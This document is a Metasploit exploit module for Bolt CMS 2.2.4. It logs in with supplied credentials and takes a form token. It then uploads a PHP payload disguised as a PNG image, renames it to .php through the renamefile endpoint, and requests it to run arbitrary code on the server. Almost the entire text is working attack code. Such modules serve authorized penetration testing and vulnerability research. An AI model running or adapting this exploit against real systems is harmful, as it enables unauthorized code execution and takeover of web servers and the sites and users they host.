CMS Bolt 2.2.4 File Upload

`##  
# This module requires Metasploit: http://www.metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
require 'msf/core'  
  
class Metasploit3 < Msf::Exploit::Remote  
Rank = ExcellentRanking  
  
include Msf::Exploit::Remote::HttpClient  
include Msf::Exploit::FileDropper  
  
def initialize(info = {})  
super(update_info(  
info,  
'Name' => 'CMS Bolt File Upload Vulnerability',  
'Description' => %q{  
Bolt CMS contains a flaw that allows an authenticated remote  
attacker to execute arbitrary PHP code. This module was  
tested on version 2.2.4.  
},  
'License' => MSF_LICENSE,  
'Author' =>  
[  
'Tim Coen', # Vulnerability Disclosure  
'Roberto Soares Espreto <robertoespreto[at]gmail.com>' # Metasploit Module  
],  
'References' =>  
[  
['URL', 'http://blog.curesec.com/article/blog/Bolt-224-Code-Execution-44.html']  
],  
'DisclosureDate' => 'Aug 17 2015',  
'Platform' => 'php',  
'Arch' => ARCH_PHP,  
'Targets' => [['Bolt 2.2.4', {}]],  
'DefaultTarget' => 0  
))  
  
register_options(  
[  
OptString.new('TARGETURI', [true, 'The base path to the web application', '/']),  
OptString.new('FOLDERNAME', [true, 'The theme path to the web application (default: base-2014)', 'base-2014']),  
OptString.new('USERNAME', [true, 'The username to authenticate with']),  
OptString.new('PASSWORD', [true, 'The password to authenticate with'])  
], self.class)  
end  
  
def check  
cookie = bolt_login(username, password)  
return Exploit::CheckCode::Detected unless cookie  
  
res = send_request_cgi(  
'method' => 'GET',  
'uri' => normalize_uri(target_uri.path, 'bolt'),  
'cookie' => cookie  
)  
  
if res && res.code == 200 && res.body.include?('Bolt 2.2.4</b>: Sophisticated, lightweight & simple CMS')  
return Exploit::CheckCode::Vulnerable  
end  
Exploit::CheckCode::Safe  
end  
  
def username  
datastore['USERNAME']  
end  
  
def password  
datastore['PASSWORD']  
end  
  
def fname  
datastore['FOLDERNAME']  
end  
  
def bolt_login(user, pass)  
res = send_request_cgi(  
'method' => 'GET',  
'uri' => normalize_uri(target_uri.path, 'bolt', 'login')  
)  
  
fail_with(Failure::Unreachable, 'No response received from the target.') unless res  
  
session_cookie = res.get_cookies  
vprint_status("#{peer} - Logging in...")  
res = send_request_cgi(  
'method' => 'POST',  
'uri' => normalize_uri(target_uri.path, 'bolt', 'login'),  
'cookie' => session_cookie,  
'vars_post' => {  
'username' => user,  
'password' => pass,  
'action' => 'login'  
}  
)  
  
return res.get_cookies if res && res.code == 302 && res.redirection.to_s.include?('/bolt')  
nil  
end  
  
def get_token(cookie, fname)  
res = send_request_cgi(  
'method' => 'GET',  
'uri' => normalize_uri(target_uri, 'bolt', 'files', 'theme', fname),  
'cookie' => cookie  
)  
  
if res && res.code == 200 && res.body =~ / name="form\[_token\]" value="(.+)" /  
return Regexp.last_match[1]  
end  
nil  
end  
  
def rename_payload(cookie, payload, fname)  
res = send_request_cgi(  
'method' => 'POST',  
'uri' => normalize_uri(target_uri.path, 'async', 'renamefile'),  
'vars_post' => {  
'namespace' => 'theme',  
'parent' => fname,  
'oldname' => "#{payload}.png",  
'newname' => "#{payload}.php"  
},  
'cookie' => cookie  
)  
  
return true if res && res.code == 200 && res.body.include?('1')  
nil  
end  
  
def exploit  
vprint_status("#{peer} - Authenticating using #{username}:#{password}")  
  
cookie = bolt_login(username, password)  
fail_with(Failure::NoAccess, 'Unable to login. Verify USERNAME/PASSWORD or TARGETURI.') if cookie.nil?  
vprint_good("#{peer} - Authenticated with Bolt.")  
  
token = get_token(cookie, fname)  
fail_with(Failure::Unknown, 'No token found.') if token.nil?  
vprint_good("#{peer} - Token \"#{token}\" found.")  
  
vprint_status("#{peer} - Preparing payload...")  
payload_name = Rex::Text.rand_text_alpha_lower(10)  
  
data = Rex::MIME::Message.new  
data.add_part(payload.encoded, 'image/png', nil, "form-data; name=\"form[FileUpload][]\"; filename=\"#{payload_name}.png\"")  
data.add_part("#{token}", nil, nil, 'form-data; name="form[_token]"')  
post_data = data.to_s  
  
vprint_status("#{peer} - Uploading payload...")  
res = send_request_cgi(  
'method' => 'POST',  
'uri' => normalize_uri(target_uri, 'bolt', 'files', 'theme', fname),  
'ctype' => "multipart/form-data; boundary=#{data.bound}",  
'data' => post_data,  
'cookie' => cookie  
)  
  
fail_with(Failure::Unknown, 'Unable to upload payload.') unless res && res.code == 302  
vprint_good("#{peer} - Uploaded the payload.")  
  
rename = rename_payload(cookie, payload_name, fname)  
fail_with(Failure::Unknown, 'No renamed filename.') if rename.nil?  
  
php_file_name = "#{payload_name}.php"  
payload_url = normalize_uri(target_uri.path, 'theme', fname, php_file_name)  
vprint_status("#{peer} - Parsed response.")  
  
register_files_for_cleanup(php_file_name)  
vprint_status("#{peer} - Executing the payload at #{payload_url}.")  
send_request_cgi(  
'uri' => payload_url,  
'method' => 'GET'  
)  
end  
end  
`